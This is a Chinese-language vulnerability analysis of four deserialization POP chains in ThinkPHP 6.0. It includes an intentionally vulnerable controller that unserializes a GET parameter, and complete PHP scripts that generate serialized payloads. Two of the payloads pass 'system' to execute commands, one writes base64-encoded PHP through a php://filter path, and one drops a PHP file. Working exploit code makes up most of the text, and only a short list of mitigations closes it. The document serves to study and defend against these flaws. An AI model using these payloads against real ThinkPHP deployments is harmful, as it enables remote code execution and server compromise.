Thinkphp 6.0 反序列化漏洞分析
字数 1659 2025-08-03 16:46:56
ThinkPHP 6.0 反序列化漏洞分析
漏洞概述
ThinkPHP 6.0 存在多个反序列化漏洞利用链(POP链),攻击者可以通过构造特定的序列化数据实现远程代码执行(RCE)或文件写入等操作。本文将详细分析四个不同的利用链(POP1-POP4)。
漏洞环境
ThinkPHP目录结构
project 应用部署目录
├─application 应用目录(可设置)
│ ├─common 公共模块目录(可更改)
│ ├─index 模块目录(可更改)
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └└─ ... 更多类库目录
│ ├─command.php 命令行工具配置文件
│ ├─common.php 应用公共(函数)文件
│ ├─config.php 应用(公共)配置文件
│ ├─database.php 数据库配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └└─route.php 路由配置文件
├─extend 扩展类库目录(可定义)
├─public WEB 部署目录(对外访问目录)
│ ├─static 静态资源存放目录(css,js,image)
│ ├─index.php 应用入口文件
│ ├─router.php 快速测试文件
│ └└─.htaccess 用于 apache 的重写
├─runtime 应用的运行时目录(可写,可设置)
├─vendor 第三方类库目录(Composer)
├─thinkphp 框架系统目录
│ ├─lang 语言包目录
│ ├─library 框架核心类库目录
│ │ ├─think Think 类库包目录
│ │ └└─traits 系统 Traits 目录
│ ├─tpl 系统模板目录
│ ├─.htaccess 用于 apache 的重写
│ ├─.travis.yml CI 定义文件
│ ├─base.php 基础定义文件
│ ├─composer.json composer 定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 惯例配置文件
│ ├─helper.php 助手函数文件(可选)
│ ├─LICENSE.txt 授权说明文件
│ ├─phpunit.xml 单元测试配置文件
│ ├─README.md README 文件
│ └└─start.php 框架引导文件
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
漏洞触发点示例
<?php
namespace app\home\controller;
use think\facade\Db;
class Index extends Base
{
public function index()
{
return view('index');
}
public function payload(){
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to TP6.0";
}
}
POP1 利用链分析
利用链路径
vendor/topthink/think-orm/src/Model.php的__destruct()方法vendor/topthink/think-orm/src/model/concern/Attribute.php的checkAllowFields()方法vendor/topthink/think-orm/src/model/concern/Conversion.php的__toString()方法vendor/topthink/think-orm/src/model/concern/Attribute.php的getAttr()方法
关键条件
$this->lazySave == true$this->withEvent == false$this->exists == true$this->data != null$this->strict == true(用于控制$closure属性)
利用代码
<?php
namespace think{
abstract class Model{
use model\concern\Attribute;
private $lazySave;
private $exists;
private $data=[];
private $withAttr = [];
public function __construct($obj){
$this->lazySave = True;
$this->withEvent = false;
$this->exists = true;
$this->table = $obj;
$this->data = ['key'=>'dir'];
$this->visible = ["key"=>1];
$this->withAttr = ['key'=>'system'];
}
}
}
namespace think\model\concern{
trait Attribute
{
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot('');
$b = new Pivot($a);
echo urlencode(serialize($b));
}
POP2 利用链分析
利用链路径
vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php的__destruct()方法vendor/topthink/framework/src/think/filesystem/CacheStore.php的save()方法vendor/topthink/framework/src/think/cache/driver.php的set()方法vendor/topthink/framework/src/think/cache/driver.php的serialize()方法
关键条件
$this->autosave = false- 控制
$this->options['serialize']为system等函数 $this->complete包含要执行的命令
利用代码
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "`id`";
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver
{
protected $options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo urlencode(serialize($cache));
}
POP3 利用链分析
利用链路径
与POP2相同,但利用点不同:
- 利用
file_put_contents()写入文件 - 通过伪协议绕过
exit限制
关键条件
- 控制
$this->options['path']为伪协议路径 $this->complete包含base64编码的恶意代码
利用代码
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "aaaPD9waHAgcGhwaW5mbygpOw==";
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver
{
protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>0,"hash_type"=>"md5","cache_subdir"=>0,"path"=>"php://filter/write=convert.base64-decode/resource=","data_compress"=>0];
}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo urlencode(serialize($cache));
}
POP4 利用链分析
利用链路径
League\Flysystem\Cached\Storage\AbstractCache的__destruct()方法League\Flysystem\Cached\Storage\Adapter的save()方法League\Flysystem\Adapter\Local的write()方法
关键条件
$this->autosave = false- 控制
$this->file为要写入的文件名 $this->cache包含要写入的内容
利用代码
<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ['<?php phpinfo();?>'];
}
namespace League\Flysystem\Cached\Storage;
class Adapter extends AbstractCache
{
protected $adapter;
protected $file;
public function __construct($obj)
{
$this->adapter = $obj;
$this->file = 'w0s1np.php';
}
}
namespace League\Flysystem\Adapter;
abstract class AbstractAdapter
{
}
namespace League\Flysystem\Adapter;
use League\Flysystem\Cached\Storage\Adapter;
use League\Flysystem\Config;
class Local extends AbstractAdapter
{
public function has($path)
{
}
public function write($path, $contents, Config $config)
{
}
}
$a = new Local();
$b = new Adapter($a);
echo urlencode(serialize($b));
防护建议
- 避免直接反序列化用户输入
- 及时更新ThinkPHP到最新版本
- 使用
__wakeup()或__destruct()方法进行安全检查 - 对反序列化操作进行严格的权限控制
总结
ThinkPHP 6.0 反序列化漏洞展示了多个利用链,攻击者可以通过精心构造的序列化数据实现远程代码执行或文件写入。开发人员应当充分了解这些漏洞原理,采取适当的防护措施。